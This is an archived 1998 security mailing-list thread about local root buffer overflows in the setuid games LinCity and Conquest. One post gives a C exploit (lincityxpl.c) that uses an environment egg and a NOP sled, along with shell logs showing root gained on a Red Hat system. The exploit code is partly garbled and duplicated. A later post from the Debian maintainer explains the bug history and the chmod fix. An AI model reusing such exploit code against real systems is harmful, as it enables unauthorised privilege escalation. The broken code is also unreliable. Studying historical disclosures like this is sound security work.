Nmap logo

LinCity and Conquest Game overflows

Description:Typical buffer overflows
Compromise: root (local)
Vulnerable Systems:Those running vulnerable versions of LinCity or Conquest setuid (dumb!). This is mostly Linux boxes.
Date:16 March 1998

Date: Mon, 16 Mar 1998 10:18:24 -0400
From: bst@INAME.COM

More buggy soft (check your systems):

* Conquest Game (Multi-player, curses based, space warfare game.)
               (the location has been changed, check it)

The program is installed [2771] gid = conquest.

There are so many potential overflow conditions in the code, here is one as an

        char conf_name[256];
        char *homevar;
        if ((homevar = getenv("HOME")) == NULL)
           clog("GetConf(): getenv(HOME) failed");
           fprintf(stderr, "Can't get HOME environment variable. Exiting\n");

        sprintf(conf_name, "%s/%s", homevar, CONFIG_FILE);

* LinCity Game (LinCity is an SVGALIB and X based city/country simulation game
                for Linux, Solaris 2.5, FreeBSD, HP_UX, AIX and IRIX are ALPHA
                at this time, but have. been reported to work - sometimes
                needing a tweak to the Makefile[s].)


        char s[100];

Good luck!
Date: Tue, 17 Mar 1998 10:12:44 -0400
From: bst@INAME.COM
Subject: Re: Lincity Buffer Overflow

In reply to TFreak answer:

I think IT IS dangerous. Observe:

First we present owr anfitrion:
--------------------------- lincityxpl.c ---------------------------------

#include <stdio.h>
#include <stdlib.h>

#define HOMESIZE        500
#define HUEVOSIZE       5000

char *shell =

__asm__("movl %esp,%eax\n");

    char *ptr, *bof, *egg;
    long *addr_ptr, addr;
    int i;

    if ( !(bof = malloc(HOMESIZE)) ) {

    if ( !(egg = malloc(HUEVOSIZE)) ) {

__asm__("movl %esp,%eax\n");

    char *ptr, *bof, *egg;
    long *addr_ptr, addr;
    int i;

    if ( !(bof = malloc(HOMESIZE)) ) {

    if ( !(egg = malloc(HUEVOSIZE)) ) {

    addr = esp();

    addr_ptr = (long *) bof;
    for (i = 0; i < HOMESIZE; i += 4)
    *(addr_ptr++) = addr;
    ptr = egg;
    for (i = 0; i <= HUEVOSIZE - strlen(shell) - 2; i++)
        *(ptr++) = 0x90;

    for( i = 0; i < strlen(shell); i++)
        *(ptr++) = shell[i];

    printf("Address:\t0x%x\n", addr);

    bof[HOMESIZE - 1] = '\0';
    egg[HUEVOSIZE - 1] = '\0';

    memcpy(bof, "BOF=", 4);
    memcpy(egg , "EGG=", 4);


    system("export HOME=$BOF; /usr/games/lincity");


System #1:

$ cat /etc/redhat-release
release 4.1 (Vanderbilt)
$ uname -a
Linux System1 2.0.29 #3 Thu Jun 5 16:37:15 ARST 1997 i486
$ ls -la /usr/games/lincity
-rwsr-sr-x   1 root    linux      793395 Mar 17 07:16 /usr/games/lincity
$ ldd /usr/games/lincity
        libvgagl.so.1 => /usr/lib/libvgagl.so.1.2.10
        libvga.so.1 => /usr/lib/libvga.so.1.2.10
        libg++.so.27 => /usr/lib/libg++.so.27.1.4
        libstdc++.so.27 => /usr/lib/libstdc++.so.27.1.4
        libm.so.5 => /lib/libm.so.5.0.6
        libc.so.5 => /lib/libc.so.5.3.12
$ cc -o fl lincityxpl.c
$ id
uid=500(bst) gid=500(bst) groups=500(bst)
$ ./fl
Address:        0xbffffd4c
bash# id
uid=500(bst) gid=500(bst) euid=0(root) egid=0(linux) groups=500(bst)

System #2:

$ cat /etc/redhat-release
release 4.2 (Biltmore)
$ uname -a
Linux System2 2.0.33 #4 Thu Jan 15 08:49:37 GMT 1998 i586 unknown
$ ls -la /usr/games/lincity
-rwsr-sr-x   1 root     root       794612 Mar 17 09:22 /usr/games/lincity
$ ldd /usr/games/lincity
        libvgagl.so.1 => /usr/lib/libvgagl.so.1 (0x4000a000)
        libvga.so.1 => /usr/lib/libvga.so.1 (0x40017000)
        libg++.so.27 => /usr/lib/libg++.so.27 (0x40046000)
        libstdc++.so.27 => /usr/lib/libstdc++.so.27 (0x40079000)
        libm.so.5 => /lib/libm.so.5 (0x400a8000)
        libc.so.5 => /lib/libc.so.5 (0x400b0000)
$ id
uid=501(rewt) gid=502(rewt) groups=100(users),502(rewt)
$ ls -la /usr/lib/libsvga*.so.*
-rwxr-xr-x   1 root     bin        182356 Sep  2  1996 /usr/lib/libvga.so.1.2.10-rwxr-xr-x   1 root     bin         46548 Sep  2  1996 /usr/lib/libvgagl.so.1.2.10
$ cc -o fl lincityxpl.c
$ id
uid=500(bst) gid=500(bst) groups=500(bst)
$ ./fl
Address:        0xbffffdd2f
sh-2.01$ id
uid=500(bst) gid=500(bst) groups=500(bst)

Well, as you can see, the *vga* libs are the same.
Please mail me with your conclutions.

Date: Tue, 17 Mar 1998 19:35:02 -0600
From: John Goerzen <jgoerzen@SOUTHWIND.NET>
Subject: Re: LinCity Buffer Overflow

"T. Freak" <tfreak@JADED.NET> writes:

> Greetings,
> While a buffer overflow is blantenly obvious in the code, I don't think it
> is very dangerous.  Observe.

Just a little history on this issue.  Herbert Xu reported a bug #14553
to Debian's bug tracking system on November 5, 1997 stating that on
line 848 of main.cxx, the s3 variable was too small to hold the home
directory for him, which was large enough to apparently overflow the
buffer.  I (the Debian maintainer of the lincity packages)
subsequently patched it to set s3 to (2 * PATH_MAX), unaware of the
full extent of the problem.  On 22 Feb 1998, I modified Debian's
package to remove the setuid bit from any installed lincity
executables, suspicious of just this sort of issue (that was Debian
package 1.09-3, for those of you keeping score at home).  Therefore,
any Debian system using Debian's lincity package, version 1.09-3 or
later, is not vulnerable to root attack from this bug.

It seems that there is no trivial patch to this program, however.
There are 17 separate occurances of code of the sort
strcpy(s,getenv("HOME")) and, as far as I can tell from a quick
examination, not ONE of them is copying into a large enough buffer.
Additionally, there may well be many other occurances of such
dangerous code with other strcpy calls, any one of which could
potentially lead to a root compromise if lincity is installed setuid.

Therefore, I reccommend immediately performing one of the following:

1. If you are using Debian hamm/2.0, upgrade immediately to lincity

2. Otherwise, run:

chmod a-s `which lincity`

On Linux FHS-compliant distributions, this would be the same as:

chmod a-s /usr/games/lincity

chmod a-s will immediately remove any setuid bits, negating any root
attack.  However, the program could still be induced to dump core
fairly easily I suspect, although I am not sure that such a thing is
of any real danger when running as a normal unpriviledged uid.

BTW, on a side note, there were also some bugs in engine.cxx relating
to type conversion.  Debian's package contains Herbert Xu's patch.
That patch can be found via anonymous ftp at:

ftp://ftp.debian.org/debian/hamm/main/source/games, filename is
lincity*.diff.gz.  (Note that this diff contains a lot of things not
relevant outside of Debian as well; however, a quick search for
engine.cxx and main.cxx out to yield the specific diffs that would be
useful for any user of lincity.)

To summarize, then:

Debian 1.3.1 (lincity 1.03-2 or 1.09-1) is vulnerable to this issue,
but only if lincity-svga is installed (find out with dpkg -s lincity-svga)
and is setuid root.  Debian hamm/pre-2.0 is not vulnerable unless
running an outdated package from before February 22, 1998.  Any
hand-installed version from the author's makefile IS vulnerable,
unless the setuid bit was explicitly removed.  I do not know of the
status of other distributions that may or may not include this game.

John Goerzen

John Goerzen                              Southwind Internet Access, Inc.
E-mail: Business, jgoerzen@southwind.net; Personal, jgoerzen@complete.org
Computer Science Dept., Wichita State University,    jgoerzen@cs.twsu.edu
Developer, Debian GNU/Linux                       <http://www.debian.org>

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]